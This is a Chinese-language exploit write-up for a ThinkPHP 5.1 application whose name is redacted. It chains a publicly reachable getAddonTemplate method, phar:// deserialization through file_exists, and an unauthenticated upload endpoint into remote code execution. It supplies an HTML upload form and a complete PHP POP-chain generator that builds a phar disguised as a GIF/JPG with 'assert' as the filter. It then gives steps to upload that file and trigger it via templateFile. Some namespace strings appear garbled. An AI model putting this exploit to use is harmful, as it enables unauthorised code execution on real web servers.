漏洞文件:application/common/controller/Base.php 中的 getAddonTemplate 方法:
错误的使用了public,导致我们可以直接外部访问。
然后使用了file_exists( 函数,导致可以触发phar://反序列化。
common目录下的文件不能直接访问,只能通过继承。
寻找继承该类,并且不需要权限的文件。
注:只要继承了webbase类的都需要权限。
寻找到该文件:application/xxxx/controller/Api.php 不需要权限。
再次需要能上传文件的地方:
application/xxxx/controller/Api.php 类中的 upload方法:
exp:
<html> <body> <form action="http://xxxx.io/public/index.php/xxxx/Api/upload" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file"/> <input type="submit" name="submit" value="Submit" /> </form> </body> </html>
注:这里的name值必须为"file",否则没有返回路径。
因为使用的ThinkPHP 5.1所以只能存在POP链。
漏洞利用:
先使用exp生成文件:
<?php namespace thinkprocesspipes; class Windows { private $files = []; public function __construct() { $this->files = [new hinkmodelPivot]; } } namespace thinkmodel; use thinkModel; class Pivot extends Model { } namespace think; abstract class Model { protected $append = []; private $relation = []; protected $visible = []; public function __construct() { $this->append = [ 'aa' => ['a'] ]; $this->relation = [ 'aa' => new Request, ]; $this->visible = ['1']; } } class Request { protected $hook = []; protected $filter; public function __construct() { $this->filter = 'assert'; $this->hook = [ 'append' => [$this,'isAjax'] ]; } } $obj = new hinkprocesspipesWindows; $phar = new Phar("test.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub 增加gif文件头 $phar->setMetadata($obj); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 $phar->stopBuffering(); //签名自动计算
将test.phar 改名为:test.jpg 然后利用上面的上传代码上传。获取到返回路径。
在直接访问:
替换templateFile为你上传的路径,造成代码执行。